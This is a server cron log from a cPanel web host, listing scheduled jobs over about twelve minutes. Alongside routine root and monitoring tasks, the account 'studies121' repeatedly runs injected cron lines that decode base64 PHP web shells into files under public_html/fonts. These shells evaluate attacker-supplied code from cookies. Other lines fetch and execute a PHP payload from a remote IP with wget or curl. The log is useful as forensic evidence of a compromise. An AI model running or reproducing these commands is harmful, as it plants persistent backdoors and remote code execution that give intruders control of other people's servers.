Sep 22 21:35:01 ip-184-168-122-23 CROND[4759]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 21:35:01 ip-184-168-122-23 CROND[4761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:35:01 ip-184-168-122-23 CROND[4764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:35:01 ip-184-168-122-23 CROND[4767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:35:01 ip-184-168-122-23 CROND[4765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:35:01 ip-184-168-122-23 CROND[4766]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 21:35:01 ip-184-168-122-23 CROND[4770]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:36:02 ip-184-168-122-23 CROND[6422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:36:02 ip-184-168-122-23 CROND[6425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:36:02 ip-184-168-122-23 CROND[6424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:36:02 ip-184-168-122-23 CROND[6429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:36:02 ip-184-168-122-23 CROND[6431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:37:01 ip-184-168-122-23 CROND[8294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:37:01 ip-184-168-122-23 CROND[8297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:37:01 ip-184-168-122-23 CROND[8298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:37:01 ip-184-168-122-23 CROND[8299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:38:01 ip-184-168-122-23 CROND[9393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:38:01 ip-184-168-122-23 CROND[9395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:38:01 ip-184-168-122-23 CROND[9396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:38:01 ip-184-168-122-23 CROND[9397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:38:01 ip-184-168-122-23 CROND[9398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:39:01 ip-184-168-122-23 CROND[10215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:39:01 ip-184-168-122-23 CROND[10216]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 21:39:01 ip-184-168-122-23 CROND[10218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:39:01 ip-184-168-122-23 CROND[10223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:39:01 ip-184-168-122-23 CROND[10222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:40:01 ip-184-168-122-23 CROND[11024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:40:01 ip-184-168-122-23 CROND[11023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:40:01 ip-184-168-122-23 CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:40:01 ip-184-168-122-23 CROND[11030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:40:01 ip-184-168-122-23 CROND[11032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:40:01 ip-184-168-122-23 CROND[11031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:40:01 ip-184-168-122-23 CROND[11033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:40:01 ip-184-168-122-23 CROND[11035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 21:41:01 ip-184-168-122-23 CROND[11809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:41:01 ip-184-168-122-23 CROND[11811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:41:01 ip-184-168-122-23 CROND[11812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:41:01 ip-184-168-122-23 CROND[11817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:42:01 ip-184-168-122-23 CROND[12610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:42:01 ip-184-168-122-23 CROND[12613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:42:01 ip-184-168-122-23 CROND[12614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:42:01 ip-184-168-122-23 CROND[12615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:42:01 ip-184-168-122-23 CROND[12616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:43:01 ip-184-168-122-23 CROND[13370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:43:01 ip-184-168-122-23 CROND[13371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:43:01 ip-184-168-122-23 CROND[13374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:43:01 ip-184-168-122-23 CROND[13377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:44:01 ip-184-168-122-23 CROND[14067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:44:01 ip-184-168-122-23 CROND[14068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:44:01 ip-184-168-122-23 CROND[14070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:44:01 ip-184-168-122-23 CROND[14071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:44:01 ip-184-168-122-23 CROND[14072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:45:01 ip-184-168-122-23 CROND[14328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:45:01 ip-184-168-122-23 CROND[14329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:45:01 ip-184-168-122-23 CROND[14332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:45:01 ip-184-168-122-23 CROND[14334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:45:01 ip-184-168-122-23 CROND[14335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:45:01 ip-184-168-122-23 CROND[14336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:46:01 ip-184-168-122-23 CROND[14593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:46:01 ip-184-168-122-23 CROND[14595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:46:01 ip-184-168-122-23 CROND[14597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:46:01 ip-184-168-122-23 CROND[14598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:46:01 ip-184-168-122-23 CROND[14599]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 21:46:01 ip-184-168-122-23 CROND[14596]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 21:46:01 ip-184-168-122-23 CROND[14600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:47:01 ip-184-168-122-23 CROND[14848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:47:01 ip-184-168-122-23 CROND[14845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
